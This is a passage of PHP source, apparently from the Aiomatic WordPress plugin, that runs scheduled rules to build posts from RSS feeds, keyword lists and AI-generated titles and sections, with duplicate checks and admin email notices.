(!empty($rules)) { foreach ($rules as $request => $bundle[]) { if ($cont == $param) { $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$iji 'Parameters parsed')); $default_cat_list = ''; if (isset($default_category) && $default_category != '' && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678') { if(is_array($default_category)) { $cextra = ''; foreach($default_category as $dc) { $cextra .= ',' . get_cat_name($dc); } $default_cat_list = trim( $cextra, ','); } else { $default_cat_list = trim(get_cat_name($default_category) . ','); } } $days_no_run = explode(',', $days_no_run); $days_no_run = array_map('trim', $days_no_run); if(!empty($days_no_run)) { if(in_array(date('l', time()), $days_no_run)) { aiomatic_log_to_file('Skipping rule ID from running today: ' . $param . ', rule type: ' . $type); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'nochange'; } else { foreach($days_no_run as $nrd) { if(strtolower($nrd) == 'mo' && date('l', time()) == 'Monday') { aiomatic_log_to_file('Skipping rule ID from running on Monday: ' . $param . ', rule type: ' . $type); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'nochange'; } elseif(strtolower($nrd) == 'tu' && date('l', time()) == 'Tuesday') { aiomatic_log_to_file('Skipping rule ID from running on Tuesday: ' . $param . ', rule type: ' . $type); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'nochange'; } elseif(strtolower($nrd) == 'we' && date('l', time()) == 'Wednesday') { aiomatic_log_to_file('Skipping rule ID from running on Wednesday: ' . $param . ', rule type: ' . $type); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'nochange'; } elseif(strtolower($nrd) == 'th' && date('l', time()) == 'Thursday') { aiomatic_log_to_file('Skipping rule ID from running on Thursday: ' . $param . ', rule type: ' . $type); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'nochange'; } elseif(strtolower($nrd) == 'fr' && date('l', time()) == 'Friday') { aiomatic_log_to_file('Skipping rule ID from running on Friday: ' . $param . ', rule type: ' . $type); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'nochange'; } elseif(strtolower($nrd) == 'sa' && date('l', time()) == 'Saturday') { aiomatic_log_to_file('Skipping rule ID from running on Saturday: ' . $param . ', rule type: ' . $type); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'nochange'; } elseif(strtolower($nrd) == 'su' && date('l', time()) == 'Sunday') { aiomatic_log_to_file('Skipping rule ID from running on Sunday: ' . $param . ', rule type: ' . $type); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'nochange'; } } } } $topic_images_bck = $topic_images; $inboundlinker = null; if($max_links !== '' && $type != '5') { preg_match_all('#\s*(\d+)\s*-\s*(\d+)\s*#', $max_links, $mxatches); if(isset($mxatches[2][0])) { $min_l = $mxatches[1][0]; $max_l = $mxatches[2][0]; $max_links = rand(intval($min_l), intval($max_l)); } else { $max_links = intval($max_links); } require_once(dirname(__FILE__) . "/res/InboundLinks.php"); $inboundlinker = new AiomaticAutoInboundLinks(); } if(empty($max_tokens) || intval($max_tokens) <= 0) { $max_tokens = AIOMATIC_DEFAULT_MAX_TOKENS; } if(intval($max_tokens) > AIOMATIC_DEFAULT_MAX_TOKENS && ( !stristr($model, 'gpt') || aiomatic_is_trained_model($model))) { $max_tokens = AIOMATIC_DEFAULT_MAX_TOKENS; } if($max_seed_tokens === '') { $max_seed_tokens = 1000; } if($max_continue_tokens === '') { $max_continue_tokens = 500; } if($type == 0 || empty($type)) { if ($found == 0) { aiomatic_log_to_file($type . ' - ' . $param . ' not found in rules!'); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'fail'; } else { if($ret_content == 0) { $GLOBALS['wp_object_cache']->delete('aiomatic_rules_list', 'options'); $rules = get_option('aiomatic_rules_list'); $rules[$param][2] = aiomatic_get_date_now(); update_option('aiomatic_rules_list', $rules, false); } } } elseif($type == 1) { if ($found == 0) { aiomatic_log_to_file($type . ' - ' . $param . ' not found in YouTube rules!'); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'fail'; } else { if($ret_content == 0) { $GLOBALS['wp_object_cache']->delete('aiomatic_youtube_list', 'options'); $rules = get_option('aiomatic_youtube_list'); $rules[$param][2] = aiomatic_get_date_now(); update_option('aiomatic_youtube_list', $rules, false); } } } elseif($type == 2) { if ($found == 0) { aiomatic_log_to_file($type . ' - ' . $param . ' not found in Amazon rules!'); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'fail'; } else { if($ret_content == 0) { $GLOBALS['wp_object_cache']->delete('aiomatic_amazon_list', 'options'); $rules = get_option('aiomatic_amazon_list'); $rules[$param][2] = aiomatic_get_date_now(); update_option('aiomatic_amazon_list', $rules, false); } } } elseif($type == 3) { if ($found == 0) { aiomatic_log_to_file($type . ' - ' . $param . ' not found in Amazon review rules!'); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'fail'; } else { if($ret_content == 0) { $GLOBALS['wp_object_cache']->delete('aiomatic_review_list', 'options'); $rules = get_option('aiomatic_review_list'); $rules[$param][2] = aiomatic_get_date_now(); update_option('aiomatic_review_list', $rules, false); } } } elseif($type == 4) { if ($found == 0) { aiomatic_log_to_file($type . ' - ' . $param . ' not found in CSV rules!'); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'fail'; } else { if($ret_content == 0) { $GLOBALS['wp_object_cache']->delete('aiomatic_csv_list', 'options'); $rules = get_option('aiomatic_csv_list'); $rules[$param][2] = aiomatic_get_date_now(); update_option('aiomatic_csv_list', $rules, false); } } } elseif($type == 5) { if ($found == 0) { aiomatic_log_to_file($type . ' - ' . $param . ' not found in OmniBlock rules!'); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'fail'; } else { if($ret_content == 0) { $GLOBALS['wp_object_cache']->delete('aiomatic_omni_list', 'options'); $rules = get_option('aiomatic_omni_list'); $rules[$param][2] = aiomatic_get_date_now(); update_option('aiomatic_omni_list', $rules, false); } } } elseif($type == 6) { if ($found == 0) { aiomatic_log_to_file($type . ' - ' . $param . ' not found in rules!'); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'fail'; } else { if($ret_content == 0) { $GLOBALS['wp_object_cache']->delete('aiomatic_listicle_list', 'options'); $rules = get_option('aiomatic_listicle_list'); $rules[$param][2] = aiomatic_get_date_now(); update_option('aiomatic_listicle_list', $rules, false); } } } $post_link = ''; $rss_items = array(); if ($enable_comments == '1') { $accept_comments = 'open'; } $count = 1; if($temperature == '') { $temperature = 1; } else { $temperature = floatval($temperature); } if($top_p == '') { $top_p = 1; } else { $top_p = floatval($top_p); } if($frequency_penalty == '') { $frequency_penalty = 0; } else { $frequency_penalty = floatval($frequency_penalty); } if($presence_penalty == '') { $presence_penalty = 0; } else { $presence_penalty = floatval($presence_penalty); } $max_tokens = intval($max_tokens); $max_seed_tokens = intval($max_seed_tokens); $max_continue_tokens = intval($max_continue_tokens); $blog_title = html_entity_decode(get_bloginfo('title')); $post_title = aiomatic_replaceSynergyShortcodes($post_title); $posted_items = array(); $posted_topics = array(); if(($title_once == '1' || $overwrite_existing == '1') && $type != '5') { $postsPerPage = 50000; $paged = 0; wp_suspend_cache_addition(true); $post_stati = get_post_stati(); foreach ($post_stati as $key => $val) { if ($val == 'auto-draft') { unset($post_stati[$key]); } if ($val == 'inherit') { unset($post_stati[$key]); } if ($val == 'request-pending') { unset($post_stati[$key]); } if ($val == 'request-confirmed') { unset($post_stati[$key]); } if ($val == 'request-failed') { unset($post_stati[$key]); } if ($val == 'request-completed') { unset($post_stati[$key]); } } do { $postOffset = $paged * $postsPerPage; $query = array( 'post_status' => $post_stati, 'post_type' => array( 'any' ), 'numberposts' => $postsPerPage, 'fields' => 'ids', 'meta_key' => 'aiomatic_source_title', 'offset' => $postOffset ); $post_list = get_posts($query); foreach ($post_list as $post) { $orig_tit = get_post_meta($post, 'aiomatic_source_title', true); if(!empty($orig_tit)) { $posted_items[$orig_tit] = $post; } } $paged++; }while(!empty($post_list)); wp_suspend_cache_addition(false); unset($post_list); $postsPerPage = 50000; $paged = 0; wp_suspend_cache_addition(true); $post_stati = get_post_stati(); foreach ($post_stati as $key => $val) { if ($val == 'auto-draft') { unset($post_stati[$key]); } if ($val == 'inherit') { unset($post_stati[$key]); } if ($val == 'request-pending') { unset($post_stati[$key]); } if ($val == 'request-confirmed') { unset($post_stati[$key]); } if ($val == 'request-failed') { unset($post_stati[$key]); } if ($val == 'request-completed') { unset($post_stati[$key]); } } do { $postOffset = $paged * $postsPerPage; $query = array( 'post_status' => $post_stati, 'post_type' => array( 'any' ), 'numberposts' => $postsPerPage, 'fields' => 'ids', 'meta_key' => 'aiomatic_post_topic', 'offset' => $postOffset ); $post_list = get_posts($query); foreach ($post_list as $post) { $aiomatic_post_topic = get_post_meta($post, 'aiomatic_post_topic', true); if(!empty($aiomatic_post_topic)) { $posted_topics[$aiomatic_post_topic] = $post; } } $paged++; }while(!empty($post_list)); wp_suspend_cache_addition(false); unset($post_list); } $user_name_type = $post_user_name; if($title_once == '1' && $type != '4' && $type != '5') { $postsPerPage = 50000; $paged = 0; wp_suspend_cache_addition(true); $post_stati = get_post_stati(); foreach ($post_stati as $key => $val) { if ($val == 'auto-draft') { unset($post_stati[$key]); } if ($val == 'inherit') { unset($post_stati[$key]); } if ($val == 'request-pending') { unset($post_stati[$key]); } if ($val == 'request-confirmed') { unset($post_stati[$key]); } if ($val == 'request-failed') { unset($post_stati[$key]); } if ($val == 'request-completed') { unset($post_stati[$key]); } } do { $postOffset = $paged * $postsPerPage; $query = array( 'post_status' => $post_stati, 'post_type' => array( 'any' ), 'numberposts' => $postsPerPage, 'fields' => 'ids', 'meta_key' => 'aiomatic_rss_link', 'offset' => $postOffset ); $zpost_list = get_posts($query); foreach ($zpost_list as $zpost) { $orig_link = get_post_meta($zpost, 'aiomatic_rss_link', true); if(!empty($orig_link)) { $rss_items[$orig_link] = $zpost; } } $paged++; }while(!empty($zpost_list)); wp_suspend_cache_addition(false); } if($type == 0 || $type == 6 || empty($type)) { if($post_title != '') { $post_title_lines = preg_split('/\r\n|\r|\n/', $post_title); } else { $post_title_lines = array(); } $additional_kws = array(); $user_name = ''; $featured_image = ''; $post_cats = ''; $post_tagz = ''; $post_excerpt = ''; $final_content = ''; $postID = ''; $heading_val = ''; $image_query = ''; $temp_post = ''; $cntx = count($post_title_lines); $rss_feeds = array(); for($ji = 0; $ji < $cntx; $ji++) { if (filter_var($post_title_lines[$ji], FILTER_VALIDATE_URL) !== false) { if(aiomatic_endsWith($post_title_lines[$ji], '.txt')) { aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Processing txt file')); $txt_content = aiomatic_get_web_page($post_title_lines[$ji]); if ($txt_content === FALSE) { aiomatic_log_to_file('Failed to read text file: ' . $post_title_lines[$ji]); if($auto == 1) { aiomatic_log_to_file($param); } continue; } unset($post_title_lines[$ji]); $additional_kws = preg_split('/\r\n|\r|\n/', $txt_content); } else { aiomatic_log_to_file('Trying to parse RSS feed items: ' . $post_title_lines[$ji]); try { if(!class_exists('SimplePie_Autoloader', false)) { require_once(dirname(__FILE__) . "/res/simplepie/autoloader.php"); } } catch(Exception $e) { aiomatic_log_to_file('Exception thrown in SimplePie autoloader: ' . $e->getMessage()); if($auto == 1) { aiomatic_log_to_file($param); } continue; } aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Processing RSS feed')); $feed = new SimplePie(); $feed->set_timeout(120); $feed->set_feed_url($post_title_lines[$ji]); $feed->enable_cache(false); $feed->strip_htmltags(false); $feed->init(); $feed->handle_content_type(); if ($feed->error()) { aiomatic_log_to_file('Error in parsing RSS feed: ' . $feed->error() . ' for ' . $post_title_lines[$ji]); if($auto == 1) { aiomatic_clearFromList($param, $type); } continue; } $items = $feed->get_items(); $zero = true; foreach($items as $itemx) { if($zero == true) { $post_link = trim($itemx->get_permalink()); if(isset($rss_items[$post_link])) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Skipping RSS title because it was already processed before: ' . $itemx->get_title()); } continue; } if ($fauthor = $itemx->get_author()) { $user_name = $fauthor->get_name(); } else { $user_name = ''; } $feed_cats = array(); if(isset($itemx->category)) { foreach($itemx->category as $cata) { $feed_cats[] = $cata->__toString(); } if(count($feed_cats) == 0) { $feed_cats[] = $itemx->category->__toString(); } $post_cats = implode(',', $feed_cats); } else { $post_cats = ''; } $post_excerpt = $itemx->get_description(); $final_content = $itemx->get_content(); $rss_feeds[$itemx->get_title()] = array('url' => $post_link, 'author' => $user_name, 'cats' => $post_cats, 'excerpt' => $post_excerpt, 'content' => $final_content ); } else { $post_link_temp = trim($itemx->get_permalink()); if(isset($rss_items[$post_link_temp])) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Skipping RSS title because it was already processed before: ' . $itemx->get_title()); } continue; } if ($fauthor = $itemx->get_author()) { $user_name_temp = $fauthor->get_name(); } else { $user_name_temp = ''; } $feed_cats = array(); if(isset($itemx->category)) { foreach($itemx->category as $cata) { $feed_cats[] = $cata->__toString(); } if(count($feed_cats) == 0) { $feed_cats[] = $itemx->category->__toString(); } $post_cats_temp = implode(',', $feed_cats); } else { $post_cats_temp = ''; } $post_excerpt_temp = $itemx->get_description(); $final_content_temp = $itemx->get_content(); $rss_feeds[$itemx->get_title()] = array('url' => $post_link_temp, 'author' => $user_name_temp, 'cats' => $post_cats_temp, 'excerpt' => $post_excerpt_temp, 'content' => $final_content_temp ); } $additional_kws[] = $itemx->get_title(); $zero = false; } unset($post_title_lines[$ji]); } } } if(count($additional_kws) > 0) { $post_title_lines = array_merge($post_title_lines, $additional_kws); } $post_title_lines = array_unique($post_title_lines); if($overwrite_existing == '1') { $post_title_lines_processed = array(); foreach($post_title_lines as $zind => $ptl) { $ptlprocessed = explode('!###!', $ptl); if(isset($ptlprocessed[1]) && !empty($ptlprocessed[1]) && !empty($ptlprocessed[0])) { $post_title_lines_processed[$zind] = $ptlprocessed[0]; } else { $post_title_lines_processed[$zind] = $ptl; } } foreach($posted_items as $ptit => $pid) { if (($key = array_search($ptit, $post_title_lines_processed)) !== false) { $update_post_id = $pid; break; } } } else { if($title_once == '1') { $skipt = 0; $post_title_lines_processed = array(); foreach($post_title_lines as $zind => $ptl) { $ptlprocessed = explode('!###!', $ptl); if(isset($ptlprocessed[1]) && !empty($ptlprocessed[1]) && !empty($ptlprocessed[0])) { $post_title_lines_processed[$zind] = $ptlprocessed[0]; } else { $post_title_lines_processed[$zind] = $ptl; } } foreach($posted_items as $ptit => $pid) { if (($key = array_search($ptit, $post_title_lines_processed)) !== false) { aiomatic_log_to_file('Skipping title, already processed: ' . $ptit); unset($post_title_lines[$key]); unset($post_title_lines_processed[$key]); $skipt++; } } if(count($post_title_lines) == 0 && $skipt > 0) { if (isset($aiomatic_Main_Settings['email_notification']) && $aiomatic_Main_Settings['email_notification'] != '') { if($count === 1) { $email_list = explode(',', $aiomatic_Main_Settings['email_notification']); foreach($email_list as $thisaddr) { $thisaddr = trim($thisaddr); try { $to = $thisaddr; $subject = '[Aiomatic] Titles depleted rule ID ' . $param . ' - ' . aiomatic_get_date_now(); $message = 'Rule ID ' . esc_html($param) . ' (' . $rule_description . ') depleted its titles, no new posts publised! Website URL: ' . get_site_url(); $headers[] = 'From: Aiomatic Plugin '; $headers[] = 'Reply-To: noreply@noreply.net'; $headers[] = 'X-Mailer: PHP/' . phpversion(); $headers[] = 'Content-Type: text/html'; $headers[] = 'Charset: ' . get_option('blog_charset', 'UTF-8'); wp_mail($to, $subject, $message, $headers); } catch (Exception $e) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Failed to send mail: Exception thrown ' . esc_html($e->getMessage()) . '!'); } } } } } aiomatic_log_to_file('All titles already processed, nothing to do.'); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'nochange'; } } } $spintax = new AIomatic_Spintax(); $orig_ai_command = $ai_command; $orig_ai_command_title = $title_ai_command; $orig_ai_command_category = $category_ai_command; $orig_ai_command_tag = $tag_ai_command; $orig_ai_command_image = $ai_command_image; $already_spinned = 0; if(isset($aiomatic_Main_Settings['attr_text']) && $aiomatic_Main_Settings['attr_text'] != '') { $img_attr = $aiomatic_Main_Settings['attr_text']; } else { $img_attr = ''; } if($headings_list != '') { $headings_arr_temp = preg_split('/\r\n|\r|\n/', $headings_list); $headings_arr_temp = array_map('trim', $headings_arr_temp); $headings_arr = array(); foreach($headings_arr_temp as $hat) { $hat = aiomatic_replaceSynergyShortcodes($hat); $hat = replaceAIPostShortcodes($hat, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, '', $custom_shortcodes, $global_prepend, $global_append); $headings_arr[] = array('q' => $hat, 'a' => ''); } } else { $headings_arr = array(); } if($images_list != '') { $images_arr = preg_split('/\r\n|\r|\n/', $images_list); $images_arr = array_map('trim', $images_arr); } else { $images_arr = array(); } $no_init_topics = false; if(empty($post_topic_list)) { $no_init_topics = true; $post_topic_list_arr = array(); } else { $post_topic_list_arr = preg_split('/\r\n|\r|\n/', $post_topic_list); $post_topic_list_arr = array_unique($post_topic_list_arr); if(count($post_topic_list_arr) == 0 || empty($post_topic_list)) { $no_init_topics = true; } } while(true) { $thread_id = ''; $post_link = ''; $user_name = ''; $post_cats = ''; $post_excerpt = ''; $final_content = ''; $my_title_outro = ''; $update_post_id = ''; $featured_image = ''; $post_tagz = ''; $postID = ''; $img_attr = ''; $old_title = ''; if ($count > intval($max)) { break; } aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Starting processing post ID #' . $count)); $heading_image_loc = $heading_img_location; if($heading_image_loc == 'random') { $xwords = array('top', 'heading', 'bottom'); $randomWord = $xwords[array_rand($xwords)]; $heading_image_loc = $randomWord; } $current_section = ''; $post_sections = ''; $post_topic = ''; $post_title_keywords = ''; $added_vid_list = array(); if($posting_mode == 'topic') { aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Topic based posting detected')); if($overwrite_existing == '1') { foreach($posted_topics as $ptit => $pid) { if(!strstr($ptit, '%%title%%')) { if (($key = array_search($ptit, $post_topic_list_arr)) !== false) { $update_post_id = $post_topic_list_arr[$key]; break; } } } } else { if($title_once == '1') { foreach($posted_topics as $ptit => $pid) { if(!strstr($ptit, '%%title%%')) { if (($key = array_search($ptit, $post_topic_list_arr)) !== false) { aiomatic_log_to_file('Skipping topic, already processed: ' . $ptit); unset($post_topic_list_arr[$key]); } } } } if($no_init_topics === false && count($post_topic_list_arr) == 0) { if($title_once == '1') { if (isset($aiomatic_Main_Settings['email_notification']) && $aiomatic_Main_Settings['email_notification'] != '') { if($count === 1) { $email_list = explode(',', $aiomatic_Main_Settings['email_notification']); foreach($email_list as $thisaddr) { $thisaddr = trim($thisaddr); try { $to = $thisaddr; $subject = '[Aiomatic] Topics depleted rule ID ' . $param . ' - ' . aiomatic_get_date_now(); $message = 'Rule ID ' . esc_html($param) . ' (' . $rule_description . ') depleted its topics, no new posts publised! Website URL: ' . get_site_url(); $headers[] = 'From: Aiomatic Plugin '; $headers[] = 'Reply-To: noreply@noreply.net'; $headers[] = 'X-Mailer: PHP/' . phpversion(); $headers[] = 'Content-Type: text/html'; $headers[] = 'Charset: ' . get_option('blog_charset', 'UTF-8'); wp_mail($to, $subject, $message, $headers); } catch (Exception $e) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Failed to send mail: Exception thrown ' . esc_html($e->getMessage()) . '!'); } } } } } } aiomatic_log_to_file('All topics already processed, nothing to do.'); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'nochange'; } } if(!empty($post_topic_list_arr)) { if (!isset($aiomatic_Main_Settings['no_random_titles']) || $aiomatic_Main_Settings['no_random_titles'] != 'on') { $nrx = array_rand($post_topic_list_arr); } else { $nrx = array_key_first($post_topic_list_arr); } } else { $nrx = null; } if(($nrx === null || $nrx === false) && $no_init_topics === false) { aiomatic_log_to_file('No more topics to process.'); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'nochange'; } if($nrx !== null && $nrx !== false) { $post_topic = $post_topic_list_arr[$nrx]; } else { $post_topic = ''; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { if($type == 6) { aiomatic_log_to_file('Starting processing listicle keyword: ' . $post_topic); } else { aiomatic_log_to_file('Starting processing post topic: ' . $post_topic); } } if($title_once == '1') { if(!empty($post_topic_list)) { unset($post_topic_list_arr[$nrx]); } } $post_sections = ''; $current_section = ''; $headings_arr_copy = $headings_arr; $added_img_list = array(); $raw_img_list = array(); $full_result_list = array(); $added_images = 0; $added_videos = 0; $heading_results = array(); if(($title_generator_method == 'ai' || empty($title_generator_method)) && $title_prompt != '' && $post_topic_list != '') { if(count($post_title_lines) == 0) { break; } if (!isset($aiomatic_Main_Settings['no_random_titles']) || $aiomatic_Main_Settings['no_random_titles'] != 'on') { $current_index = array_rand($post_title_lines); $post_title = trim($post_title_lines[$current_index]); } else { $current_index = array_key_first($post_title_lines); $post_title = trim($post_title_lines[$current_index]); unset($post_title_lines[$current_index]); } $ptlprocessed = explode('!###!', $post_title); if(isset($ptlprocessed[1]) && !empty($ptlprocessed[1]) && !empty($ptlprocessed[0])) { $post_title = $ptlprocessed[0]; $post_title_keywords = $ptlprocessed[1]; } $post_title = apply_filters('aiomatic_replace_aicontent_shortcode', $post_title); if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $title_prompt_arr = preg_split('/\r\n|\r|\n/', $title_prompt); $my_title_prompt = $title_prompt_arr[array_rand($title_prompt_arr)]; } else { $my_title_prompt = $title_prompt; } $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command); $zatitle_prompt = aiomatic_replacetopics($my_title_prompt, $za_post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $zatitle_prompt = replaceAIPostShortcodes($zatitle_prompt, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); if(stristr($run_regex_on, 'title') !== false) { if ($strip_by_regex_prompts !== '') { $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts); $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts); $xcnt = 0; foreach($xstrip_by_regex as $sbr) { if(isset($xreplace_regex[$xcnt])) { $repreg = $xreplace_regex[$xcnt]; } else { $repreg = ''; } $xcnt++; $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $zatitle_prompt); if($temp_cont !== NULL) { $zatitle_prompt = $temp_cont; } } } } if($zatitle_prompt != '') { aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating topic based title')); $written = aiomatic_write_content($zatitle_prompt, $topic_title_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, true, false, 'title', 'user', $assistant_id, $thread_id); if($written === false) { aiomatic_log_to_file('Failed to generate title!'); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'fail'; } else { $written = ucfirst(trim(trim(trim(trim($written), '.'), ' “â€â€˜â€™"\''))); $post_title = $written; if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') { $posts = get_posts( array( 'post_type' => $post_type, 'title' => html_entity_decode($post_title), 'post_status' => 'all', 'numberposts' => 1, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'ASC', ) ); if ( ! empty( $posts ) ) { $zap = $posts[0]; } else { $zap = null; } if($zap !== null) { if($overwrite_existing) { $update_post_id = $zap->ID; } else { aiomatic_log_to_file('Post with specified AI generated title already published, skipping it: ' . $post_title); continue; } } } } } else { aiomatic_log_to_file('Empty processed title prompt. Nothing to do.'); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'fail'; } } elseif($title_generator_method == 'serp' && $post_topic_list != '') { $post_topic = apply_filters('aiomatic_replace_aicontent_shortcode', $post_topic); aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Getting title from SERP results')); $heading_results_ai = aiomatic_scrape_related_questions($post_topic, $headings, $headings_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $headings_ai_command, $assistant_id); if(is_array($heading_results_ai) && !empty($heading_results_ai)) { $rand_index = array_rand($heading_results_ai); $post_title = ucfirst($heading_results_ai[$rand_index]['q']); if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') { $posts = get_posts( array( 'post_type' => $post_type, 'title' => html_entity_decode($post_title), 'post_status' => 'all', 'numberposts' => 1, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'ASC', ) ); if ( ! empty( $posts ) ) { $zap = $posts[0]; } else { $zap = null; } if($zap !== null) { if($overwrite_existing) { $update_post_id = $zap->ID; } else { aiomatic_log_to_file('Post with specified SERP results generated title already published, skipping it: ' . $post_title); continue; } } } } } else { if(count($post_title_lines) == 0) { break; } if (!isset($aiomatic_Main_Settings['no_random_titles']) || $aiomatic_Main_Settings['no_random_titles'] != 'on') { $current_index = array_rand($post_title_lines); } else { $current_index = array_key_first($post_title_lines); } $post_title = trim($post_title_lines[$current_index]); $ptlprocessed = explode('!###!', $post_title); if(isset($ptlprocessed[1]) && !empty($ptlprocessed[1]) && !empty($ptlprocessed[0])) { $post_title = $ptlprocessed[0]; $post_title_keywords = $ptlprocessed[1]; } if(isset($rss_feeds[$post_title])) { $post_link = $rss_feeds[$post_title]['url']; $user_name = $rss_feeds[$post_title]['author']; $post_cats = $rss_feeds[$post_title]['cats']; $post_excerpt = $rss_feeds[$post_title]['excerpt']; $final_content = $rss_feeds[$post_title]['content']; } $tprepp = $spintax->Parse($post_title); if($tprepp != false && $tprepp != '') { $post_title = $tprepp; } $old_title = $post_title; $already_spinned = 0; if (filter_var($post_title, FILTER_VALIDATE_URL) === false && stristr($post_title, '%%ai_generated_title%%') === false) { unset($post_title_lines[$current_index]); } $post_title = apply_filters('aiomatic_replace_aicontent_shortcode', $post_title); if (strpos($post_title, '%%') === false) { if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') { $posts = get_posts( array( 'post_type' => $post_type, 'title' => html_entity_decode($post_title), 'post_status' => 'all', 'numberposts' => 1, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'ASC', ) ); if ( ! empty( $posts ) ) { $zap = $posts[0]; } else { $zap = null; } if($zap !== null) { if($overwrite_existing) { $update_post_id = $zap->ID; } else { aiomatic_log_to_file('Post with specified title existing, skipping it: ' . $post_title); unset($post_title_lines[$current_index]); continue; } } } $new_post_title = $post_title; } else { $new_post_title = $post_title; $new_post_title = aiomatic_replaceContentShortcodes($new_post_title, $img_attr, $ai_command); if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') { $posts = get_posts( array( 'post_type' => $post_type, 'title' => html_entity_decode($new_post_title), 'post_status' => 'all', 'numberposts' => 1, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'ASC', ) ); if ( ! empty( $posts ) ) { $zap = $posts[0]; } else { $zap = null; } if($zap !== null) { if($overwrite_existing) { $update_post_id = $zap->ID; } else { aiomatic_log_to_file('Post with specified title already published, skipping it: ' . $new_post_title); unset($post_title_lines[$current_index]); continue; } } } } } if(empty($post_title)) { aiomatic_log_to_file('Empty post title submitted, nothing to do!'); continue; } if(stristr($run_regex_on, 'sections') !== false) { if ($strip_by_regex_prompts !== '') { $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts); $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts); $xcnt = 0; foreach($xstrip_by_regex as $sbr) { if(isset($xreplace_regex[$xcnt])) { $repreg = $xreplace_regex[$xcnt]; } else { $repreg = ''; } $xcnt++; $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $sections_prompt); if($temp_cont !== NULL) { $sections_prompt = $temp_cont; } } } } if($sections_prompt != '' && $post_sections_list == '') { if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $sections_prompt_arr = preg_split('/\r\n|\r|\n/', $sections_prompt); $my_post_section = $sections_prompt_arr[array_rand($sections_prompt_arr)]; } else { $my_post_section = $sections_prompt; } $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command); $my_post_section = aiomatic_replacetopics($my_post_section, $za_post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $my_post_section = replaceAIPostShortcodes($my_post_section, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); if($my_post_section != '') { aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating topic based sections')); $written = aiomatic_write_content($my_post_section, $topic_sections_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, true, false, 'sections', 'user', $assistant_id, $thread_id); if($written === false) { aiomatic_log_to_file('Failed to generate 